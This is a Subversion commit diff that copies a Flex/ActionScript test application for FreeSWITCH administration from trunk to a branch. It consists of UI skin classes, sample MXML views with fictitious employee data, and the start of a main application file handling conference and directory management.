Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/thum_skin.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/thum_skin.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/track_skin.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/track_skin.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/track_skin.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tree_folder.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tree_folder.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tree_folder.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tree_folder_open.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/images/tree_folder_open.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/images/tree_folder_open.png)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/skins)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/BaseSkin.as

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/BaseSkin.as (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/skins/BaseSkin.as) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/BaseSkin.as	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/BaseSkin.as	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,91 @@
+package assets.skins
+{
+	import com.asfusion.skins.filters.ICSSFilter;
+	import com.degrafa.Surface;
+	
+	import flash.events.Event;
+	import flash.filters.BitmapFilter;
+	
+	import mx.styles.CSSStyleDeclaration;
+	import mx.styles.IStyleClient;
+	import mx.styles.StyleManager;
+	
+	public class BaseSkin extends Surface
+	{
+		[Bindable (event="skinSizeChange")]
+		protected var skinWidth:int;
+		
+    	[Bindable (event="skinSizeChange")]
+    	protected var skinHeight:int;
+    	
+    	//.........................................BaseSkin Contructor........................................
+		public function BaseSkin()
+		{
+			super();
+		}
+    	
+		//.........................................updateDisplayList..........................................
+		override protected function updateDisplayList(unscaledWidth:Number, unscaledHeight:Number):void
+		{
+			super.updateDisplayList(unscaledWidth, unscaledHeight);
+			if(unscaledWidth || unscaledHeight)
+			{
+				skinWidth = unscaledWidth;
+				skinHeight = unscaledHeight;
+				dispatchEvent( new Event("skinSizeChange"));
+			}
+		}
+		
+		//.........................................styleName..........................................
+		override public function set styleName(value:Object):void
+		{
+			super.styleName = value;
+			if(!value is IStyleClient) return;
+			
+			var bitmapFilters:Array = new Array();
+			var CSSfilters:Object;
+			if(value is IStyleClient)
+			{
+				CSSfilters = IStyleClient(value).getStyle('filters');
+			}
+			else if(value is CSSStyleDeclaration)
+			{
+				CSSfilters = CSSStyleDeclaration(value).getStyle('filters');
+			}
+			if(CSSfilters is String)
+			{
+				bitmapFilters.push(createFilter(CSSfilters as String));
+			}
+			else
+			{
+				for each( var filterStyleName:String in bitmapFilters)
+				{
+					bitmapFilters.push(createFilter(filterStyleName));
+				}
+			}
+			filters = bitmapFilters;
+		}
+		
+		//.........................................createFilter..........................................
+		protected function createFilter(styleName:String):BitmapFilter
+		{
+			var CSSfilter:CSSStyleDeclaration = StyleManager.getStyleDeclaration("."+styleName);
+			var filterClass:Class = CSSfilter.getStyle('filterClass');
+			var filter:ICSSFilter = new filterClass();
+			filter.styleName = CSSfilter;
+			return filter.filter;
+		}
+		
+		//.........................................getBottomCornerRadius..........................................
+		protected function getBottomCornerRadius():int
+    	{
+    		var bottomCornerRadius:* = getStyle('bottomCornerRadius');
+    		var bottomCorners:int = 0;
+    		if(bottomCornerRadius !== 0)
+    		{
+    			bottomCorners = bottomCornerRadius;
+    		}
+    		return bottomCorners;
+    	}
+	}
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelBackgroundSkin.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelBackgroundSkin.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/skins/PanelBackgroundSkin.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelBackgroundSkin.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelBackgroundSkin.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<BaseSkin xmlns:mx="http://www.adobe.com/2006/mxml"
+                xmlns:degrafa="com.degrafa.*"
+                xmlns:paint="com.degrafa.paint.*"
+                xmlns:geometry="com.degrafa.geometry.*"
+                xmlns="assets.skins.*">
+         
+        <!-- Creating fills. -->
+        <fills>
+        	<paint:SolidFill id="whiteColor" color="#ffffff" alpha="0.5" />
+          	<paint:BitmapFill id="bitmapFill"
+                              source="{getStyle('borderBackgroundImage')}"
+                              smooth="true"/>
+        </fills>
+        
+        <!-- Creating Strokes. -->
+        <strokes>
+            <paint:SolidStroke id="stroke" color="{getStyle('borderColor')}"  alpha="0.5" weight="1"   pixelHinting="true"/>
+        </strokes>
+        
+        <!-- Creating a Geometry Group. -->
+        <graphicsData>
+        	<degrafa:GeometryGroup>
+        		<geometry:RoundedRectangleComplex width="{skinWidth}" height="{skinHeight}" 
+        										  stroke="{stroke}"  fill="{bitmapFill}"  
+        										  bottomLeftRadius="{getBottomCornerRadius()}" 
+        										  bottomRightRadius="{getBottomCornerRadius()}" 
+        										  topLeftRadius="{getStyle('cornerRadius')}" 
+        										  topRightRadius="{getStyle('cornerRadius')}"/>
+        	</degrafa:GeometryGroup>
+        </graphicsData>
+        
+</BaseSkin>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelContentSkin.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelContentSkin.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/skins/PanelContentSkin.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelContentSkin.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/PanelContentSkin.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<BaseSkin xmlns:mx="http://www.adobe.com/2006/mxml"
+                xmlns:degrafa="com.degrafa.*"
+                xmlns:paint="com.degrafa.paint.*"
+                xmlns:geometry="com.degrafa.geometry.*"
+                xmlns="assets.skins.*">
+         
+        <!-- Creating fills. -->
+        <fills>
+        	<paint:SolidFill id="whiteColor" color="#ffffff" alpha="1" />
+        </fills>
+        
+        <!-- Creating Strokes. -->
+        <strokes>
+            <paint:SolidStroke id="stroke" color="{getStyle('borderColor')}"  alpha="0.5" weight="1"   pixelHinting="true"/>
+        </strokes>
+        
+        <!-- Creating a Geometry Group. -->
+        <graphicsData>
+        	<degrafa:GeometryGroup>
+        		<geometry:RoundedRectangleComplex width="{skinWidth}" height="{skinHeight}" 
+        										  stroke="{stroke}"  fill="{whiteColor}"  
+        										  bottomLeftRadius="{getBottomCornerRadius()}" 
+        										  bottomRightRadius="{getBottomCornerRadius()}" 
+        										  topLeftRadius="{getStyle('cornerRadius')}" 
+        										  topRightRadius="{getStyle('cornerRadius')}"/>
+        	</degrafa:GeometryGroup>
+        </graphicsData>
+        
+</BaseSkin>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/SmartPanelSkin.as

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/SmartPanelSkin.as (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/skins/SmartPanelSkin.as) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/SmartPanelSkin.as	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/skins/SmartPanelSkin.as	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+package assets.skins
+{
+	import flash.display.DisplayObject;
+	
+	import mx.containers.Panel;
+	import mx.core.EdgeMetrics;
+	import mx.core.mx_internal;
+	import mx.skins.halo.PanelSkin;
+	import mx.styles.CSSStyleDeclaration;
+	import mx.styles.IStyleClient;
+	import mx.styles.StyleManager;
+	use namespace mx_internal;
+	
+	public class SmartPanelSkin extends PanelSkin
+	{
+		private var backgroundComplete:Boolean;
+		private var contentComplete:Boolean;
+		
+		public function SmartPanelSkin()
+		{
+			super();
+		}
+		override mx_internal function drawBorder(w:Number, h:Number):void
+		{
+			if(!parent || contentComplete) return;
+			
+			contentComplete = true;
+			var contentStyleName:* = getStyle("contentStyleName");
+			if(contentStyleName)
+			{
+				var contentCSS:CSSStyleDeclaration = StyleManager.getStyleDeclaration("." + contentStyleName);
+				var contentSkin:Class = contentCSS.getStyle("skin");
+				if(contentSkin && parent is Panel)
+				{
+					var contentInstance:DisplayObject = new contentSkin();
+	    			if(contentInstance is IStyleClient) IStyleClient(contentInstance).styleName = contentCSS;
+	    			var metrics:EdgeMetrics = borderMetrics;
+	    			contentInstance.width = w - metrics.left - metrics.right;
+	    			contentInstance.height = h - metrics.bottom - metrics.top;
+	    			contentInstance.x = metrics.left;
+	    			contentInstance.y = metrics.top;
+	    			var panel:Panel = Panel(parent);
+	    			panel.rawChildren.addChildAt(contentInstance,1);
+				}
+			}
+			else
+			{
+				super.drawBorder(w,h);
+			}
+		}
+		override mx_internal function drawBackground(w:Number, h:Number):void
+    	{
+    		if(!parent || backgroundComplete) return;
+    		
+    		backgroundComplete = true; 
+    		var backgroundSkin:Class = getStyle("backgroundSkin");
+    		if(backgroundSkin && parent is Panel)
+    		{
+    			var backgroundInstance:DisplayObject = new backgroundSkin();
+    			if(backgroundInstance is IStyleClient) IStyleClient(backgroundInstance).styleName = parent;
+    			backgroundInstance.width = w;
+    			backgroundInstance.height = h;
+    			var panel:Panel = Panel(parent);
+    			panel.rawChildren.addChildAt(backgroundInstance,0);
+    		}
+    		else
+    		{
+    			super.drawBackground(w,h);
+    		}
+    	}
+	}
+}
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/xml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/xml)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/xml/listData.xml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/xml/listData.xml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/assets/xml/listData.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/xml/listData.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/assets/xml/listData.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+<?xml version="1.0"?>
+<items>
+	<item>
+		<image>assets/icons/fx.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/ai.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/ps.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/fw.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/fl.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/air.jpg</image>
+	</item>
+</items>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/SampleTitleWindow.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/SampleTitleWindow.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/SampleTitleWindow.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/SampleTitleWindow.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/SampleTitleWindow.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" width="400" height="300" creationComplete="centerWindow()" title="TitleWindow" showCloseButton="true" close="closeWindow()">
+	
+	<mx:Script>
+        <![CDATA[
+            import mx.managers.PopUpManager;
+            
+            public function centerWindow():void
+            {
+            	PopUpManager.centerPopUp(this);
+            }
+            
+            public function closeWindow():void
+            {
+            	PopUpManager.removePopUp(this);
+            }
+            
+       ]]>
+       
+	</mx:Script>
+	
+	<mx:Label text="This is a sample TitleWindow." verticalCenter="0" horizontalCenter="0"/>
+	
+</mx:TitleWindow>

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/views)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Controls.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Controls.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/views/Controls.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Controls.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Controls.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:Canvas xmlns:mx="http://www.adobe.com/2006/mxml" width="600" height="300">
+	<mx:Button x="10" y="10" label="Button"/>
+	<mx:CheckBox x="90" y="10" label="Checkbox"/>
+
+	<mx:ComboBox x="506" y="40" prompt="Combo Box">
+		<mx:dataProvider>
+			<mx:Array>
+				<mx:Object label="Item 1"/>
+				<mx:Object label="Item 2"/>
+				<mx:Object label="Item 3"/>
+				<mx:Object label="Item 4"/>
+			</mx:Array>
+		</mx:dataProvider>
+	</mx:ComboBox>
+	<mx:DateChooser x="22" y="77"/>
+	<mx:DateField x="340" y="10"/>
+	<mx:HSlider x="243" y="77"/>
+	<mx:LinkButton x="302" y="40" label="LinkButton"/>
+
+	<mx:ProgressBar x="244" y="107" indeterminate="true"/>
+	<mx:RadioButton x="195" y="11" label="Radio"/>
+	<mx:RadioButton x="265" y="11" label="Radio2"/>
+	<mx:VSlider x="486" y="10"/>
+	<mx:HBox x="302" y="176" verticalAlign="middle">
+		<mx:HRule/>
+		<mx:Label text="HRule"/>
+	</mx:HBox>
+	<mx:HBox x="240" y="153" verticalAlign="middle">
+		<mx:VRule/>
+		<mx:Label text="VRule"/>
+	</mx:HBox>
+</mx:Canvas>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/List2.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/List2.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/views/List2.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/List2.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/List2.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:HBox xmlns:mx="http://www.adobe.com/2006/mxml" width="410" height="200" paddingLeft="10">
+	  <mx:Model id="listData" source="/assets/xml/listData.xml"/>
+	  <mx:XMLList id="treeData">
+	    <node label="Mail Box">
+	        <node label="Inbox">
+	            <node label="Marketing"/>
+	            <node label="Product Management"/>
+	            <node label="Personal"/>
+	        </node>
+	        <node label="Outbox">
+	            <node label="Professional"/>
+	            <node label="Personal"/>
+	        </node>
+	        <node label="Spam"/>
+	        <node label="Sent"/>
+		</node>	
+    </mx:XMLList>
+    <mx:XMLList id="employees">
+        <employee>
+            <name>Christina Coenraets</name>
+            <phone>555-219-2270</phone>
+            <email>ccoenraets@fictitious.com</email>
+            <active>true</active>
+        </employee>
+        <employee>
+            <name>Joanne Wall</name>
+            <phone>555-219-2012</phone>
+            <email>jwall@fictitious.com</email>
+            <active>true</active>
+        </employee>
+        <employee>
+            <name>Maurice Smith</name>
+            <phone>555-219-2012</phone>
+            <email>maurice@fictitious.com</email>
+            <active>false</active>
+        </employee>
+        <employee>
+            <name>Mary Jones</name>
+            <phone>555-219-2000</phone>
+            <email>mjones@fictitious.com</email>
+            <active>true</active>
+        </employee>
+    </mx:XMLList>
+	<mx:VBox >
+		<mx:Label text="List"/>
+		<mx:List height="100%" width="160">
+			<mx:dataProvider>
+				<mx:Array>
+					<mx:Object label="Flex"/>
+					<mx:Object label="Illustrator"/>
+					<mx:Object label="Photoshop"/>
+					<mx:Object label="Fireworks"/>
+					<mx:Object label="Flash"/>
+					<mx:Object label="Adobe AIR"/>
+				</mx:Array>
+			</mx:dataProvider>
+		</mx:List>
+	</mx:VBox>
+	<mx:VBox width="330">
+		<mx:Label text="TileList"/>
+		<mx:TileList width="100%" height="220"  dataProvider="{ listData.item }">
+			<mx:itemRenderer>
+			<mx:Component>
+				<mx:VBox paddingTop="4" paddingRight="4" paddingBottom="4" paddingLeft="4">
+					<mx:Image source="{ data.image }" width="90" height="90"/>
+				</mx:VBox>
+			</mx:Component>
+		</mx:itemRenderer>
+		</mx:TileList>
+	</mx:VBox>
+	<mx:VBox>
+		<mx:Label text="Tree"/>
+		<mx:Tree width="200" height="240" dataProvider="{ treeData }" labelField="@label" showRoot="false"/>
+	</mx:VBox>
+</mx:HBox>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Lists.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Lists.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/views/Lists.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Lists.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Lists.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:Canvas xmlns:mx="http://www.adobe.com/2006/mxml" width="400" height="300">
+	  <mx:Model id="listData" source="/assets/xml/listData.xml"/>
+    <mx:XMLList id="employees">
+        <employee>
+            <name>Christina Coenraets</name>
+            <phone>555-219-2270</phone>
+            <email>ccoenraets@fictitious.com</email>
+            <active>true</active>
+        </employee>
+        <employee>
+            <name>Joanne Wall</name>
+            <phone>555-219-2012</phone>
+            <email>jwall@fictitious.com</email>
+            <active>true</active>
+        </employee>
+        <employee>
+            <name>Maurice Smith</name>
+            <phone>555-219-2012</phone>
+            <email>maurice@fictitious.com</email>
+            <active>false</active>
+        </employee>
+        <employee>
+            <name>Mary Jones</name>
+            <phone>555-219-2000</phone>
+            <email>mjones@fictitious.com</email>
+            <active>true</active>
+        </employee>
+    </mx:XMLList>
+	<mx:VBox x="10" y="10" width="90%">
+		<mx:Label text="DataGrid"/>
+		<mx:DataGrid dataProvider="{ employees }"  height="200" width="100%">
+			<mx:columns>
+                <mx:DataGridColumn dataField="name" headerText="Name"/>
+                <mx:DataGridColumn dataField="phone" headerText="Phone"/>
+                <mx:DataGridColumn dataField="email" headerText="Email"/>
+            </mx:columns>
+		</mx:DataGrid>
+	</mx:VBox>
+	<mx:VBox x="10" y="186" width="90%">
+		<mx:Label text="HorizontalList"/>
+		<mx:HorizontalList width="100%" height="125" dataProvider="{ listData.item }">
+			<mx:itemRenderer>
+				<mx:Component>
+					<mx:VBox paddingTop="4" paddingRight="4" paddingBottom="4" paddingLeft="4">
+						<mx:Image source="{ data.image }" width="90" height="90"/>
+					</mx:VBox>
+				</mx:Component>
+			</mx:itemRenderer>
+		</mx:HorizontalList>
+	</mx:VBox>
+</mx:Canvas>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Navigation.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Navigation.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/views/Navigation.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Navigation.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Navigation.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:Canvas xmlns:mx="http://www.adobe.com/2006/mxml" width="400" height="300">
+	 
+	<mx:VBox x="318" y="10">
+		<mx:Label text="ButtonBar"/>
+		<mx:ButtonBar>
+			<mx:dataProvider>
+				<mx:Array>
+					<mx:Object label="Button 1"/>
+					<mx:Object label="Button 2"/>
+					<mx:Object label="Button 3"/>
+					<mx:Object label="Button 4"/>
+				</mx:Array>
+			</mx:dataProvider>
+		</mx:ButtonBar>
+	</mx:VBox>
+	<mx:VBox x="318" y="67">
+		<mx:Label text="ToggleButtonBar"/>
+		<mx:ToggleButtonBar>
+			<mx:dataProvider>
+				<mx:Array>
+					<mx:Object label="Button 1"/>
+					<mx:Object label="Button 2"/>
+					<mx:Object label="Button 3"/>
+					<mx:Object label="Button 4"/>
+				</mx:Array>
+			</mx:dataProvider>
+		</mx:ToggleButtonBar>
+	</mx:VBox>
+	<mx:VBox x="318" y="130">
+		<mx:Label text="TabBar"/>
+		<mx:TabBar>
+			<mx:dataProvider>
+				<mx:Array>
+					<mx:Object label="Tab 1"/>
+					<mx:Object label="Tab 2"/>
+					<mx:Object label="Tab 3"/>
+					<mx:Object label="Tab 4"/>
+				</mx:Array>
+			</mx:dataProvider>
+		</mx:TabBar>
+	</mx:VBox>
+	<mx:VBox x="318" y="200">
+		<mx:Label text="LinkBar"/>
+		<mx:LinkBar>
+			<mx:Object label="Link 1"/>
+			<mx:Object label="Link 2"/>
+			<mx:Object label="Link 3"/>
+			<mx:Object label="Link 4"/>
+		</mx:LinkBar>
+	</mx:VBox>
+	<mx:VBox x="10" y="10">
+		<mx:Label text="Accordion"/>
+		<mx:Accordion width="300" height="200">
+			<mx:Canvas label="Accordion Header 1" width="100%" height="100%">
+			</mx:Canvas>
+			<mx:Canvas label="Accordion Header 2" width="100%" height="100%">
+			</mx:Canvas>
+			<mx:Canvas label="Accordion Header 3" width="100%" height="100%">
+			</mx:Canvas>
+		</mx:Accordion>
+	</mx:VBox>
+</mx:Canvas>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Text.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Text.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/com/views/Text.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Text.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/com/views/Text.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:Canvas xmlns:mx="http://www.adobe.com/2006/mxml" width="400" height="300">
+	<mx:TextArea x="218" y="9" text="TextArea" width="200" height="100"/>
+	<mx:TextInput x="426" y="8" text="TextInput"/>
+	<mx:VBox x="10" y="10">
+		<mx:Label text="Text"/>
+		<mx:Text text="Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Praesent vel libero ut libero interdum aliquam. Morbi in massa. Suspendisse ultrices velit nec leo." width="200" height="100"/>
+	</mx:VBox>
+</mx:Canvas>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/main.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/main.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/main.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/main.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/main.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,478 @@
+<?xml version="1.0" encoding="utf-8"?>
+<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" horizontalAlign="center" verticalAlign="middle" width="100%" 
+	height="100%" layout="vertical">
+
+	 <mx:Script>
+        <![CDATA[
+        	import mx.events.DragEvent;
+        
+        	import flash.utils.Timer;
+            import flash.events.TimerEvent;
+                    
+			import mx.controls.dataGridClasses.DataGridColumn;
+			import mx.events.DataGridEvent;
+			import mx.events.ListEvent;
+			import mx.controls.Alert;
+			import mx.rpc.events.FaultEvent;
+			import mx.rpc.events.ResultEvent;
+			import mx.collections.ArrayCollection;
+			import mx.managers.PopUpManager;
+			import mx.core.IFlexDisplayObject;
+			private var confTimer:Timer;
+            
+            private function fakeLogin():void { 
+            	loginWindow.enabled = true;
+				currentState = "main";
+            }
+            
+            private function initConfTab():void{
+            	freeswitch.getConfPlayfiles(null);
+            	freeswitch.getConferenceList();
+            	freeswitch.getConferenceUsers(confPicker.selectedItem );
+				confTimerLabel.text="Init...";
+				confTimer = new Timer(10000, 0);
+				confTimer.addEventListener(TimerEvent.TIMER, onConfRefresh);
+				confTimer.start();
+				confTimerLabel.text = confTimer.running.toString();
+			}
+            
+            private function onConfRefresh(evt:TimerEvent):void {
+            	confTimerLabel.text="Refreshing";
+            	freeswitch.getConferenceUsers(confPicker.selectedItem);
+            	confTimerLabel.text="Refreshed";
+            	confTimerSecCount.text = confTimer.currentCount.toString();
+            }
+            
+            private function confAutoRefreshControl():void {
+            	if (confAutoRefreshCheckBox.selected) {
+            		confTimer.start();
+            		confTimerLabel.text="running";
+            		confTimerLabel.text = confTimer.running.toString();
+            		confTimerSecCount.text = confTimer.currentCount.toString();
+            	} else {
+            		confTimer.stop();
+            		confTimerLabel.text="stopped";
+            		confTimerLabel.text = confTimer.running.toString();
+            		confTimerSecCount.text = confTimer.currentCount.toString();
+            	}
+            }
+            
+            private function confTimerChangeTime():void {
+            	confTimer.delay = confAutoRefreshTimeSlider.value * 1000;
+            }
+            
+            public function doOriginate():void {
+				var origWindow:IFlexDisplayObject =
+					PopUpManager.createPopUp(this, originateForm, false);
+			}
+            public function doStatusForm():void {
+				var origWindow:IFlexDisplayObject =
+					PopUpManager.createPopUp(this, statusForm, false);
+			}
+			
+			public function doNewUserForm():void {
+				var origWindow:IFlexDisplayObject =
+					PopUpManager.createPopUp(this, newUserForm, false);
+			}
+			
+			public function doNewDomainForm():void {
+				var origWindow:IFlexDisplayObject =
+					PopUpManager.createPopUp(this, newDomainForm, false);
+			}
+			
+			public function addDomainParam():void {
+				freeswitch.addDirDomainParam(gridDomainsDomain.selectedItem.uid, inputDomainParamName.text, inputDomainParamValue.text);
+				freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);
+			}
+			
+			public function addDomainVar():void {
+				freeswitch.addDirDomainVar(gridDomainsDomain.selectedItem.uid, inputDomainVarName.text, inputDomainVarValue.text);
+				freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);
+			}
+			
+			public function dgChangeDomainParam(event:DataGridEvent):void {
+				freeswitch.updateDirDomainParam(dgDomainParam.selectedItem.uid, dgDomainParam.selectedItem.name, TextInput(event.currentTarget.itemEditorInstance).text);
+				freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);
+			}
+			
+			public function dgChangeDomainVars(event:DataGridEvent):void {
+				freeswitch.updateDirDomainVar(dgDomainVars.selectedItem.uid, dgDomainVars.selectedItem.name, TextInput(event.currentTarget.itemEditorInstance).text);
+				freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);
+			}
+			
+			public function dgDeleteDomainParam():void {
+				freeswitch.deleteDirDomainParam(dgDomainParam.selectedItem.uid);
+				freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);
+			}
+			
+			public function dgDeleteDomainVars():void {
+				freeswitch.deleteDirDomainVar(dgDomainVars.selectedItem.uid);
+				freeswitch.getDirDomain(gridDomainsDomain.selectedItem.uid);
+			}
+			
+			public function addDomainUserParam():void {
+				freeswitch.addDirDomainUserParam(dgDomainUsers.selectedItem.uid, inputDomainUserParamName.text, inputDomainUserParamValue.text);
+				freeswitch.getDirUser(dgDomainUsers.selectedItem.uid);
+			}
+			
+			public function addDomainUserVar():void {
+				freeswitch.addDirDomainUserVar(dgDomainUsers.selectedItem.uid, inputDomainUserVarName.text, inputDomainUserVarValue.text);
+				freeswitch.getDirUser(dgDomainUsers.selectedItem.uid);
+			}
+			
+			public function dgChangeDomainUserParam(event:DataGridEvent):void {
+				freeswitch.updateDirDomainUserParam(dgDomainUsers.selectedItem.uid, dgDomainParam.selectedItem.name, TextInput(event.currentTarget.itemEditorInstance).text);
+				freeswitch.getDirUser(dgDomainUsers.selectedItem.uid);
+			}
+			
+			public function dgChangeDomainUserVars(event:DataGridEvent):void {
+				var _rowIndex:Number=event.rowIndex;
+        		var _columnIndex:Number= event.columnIndex;
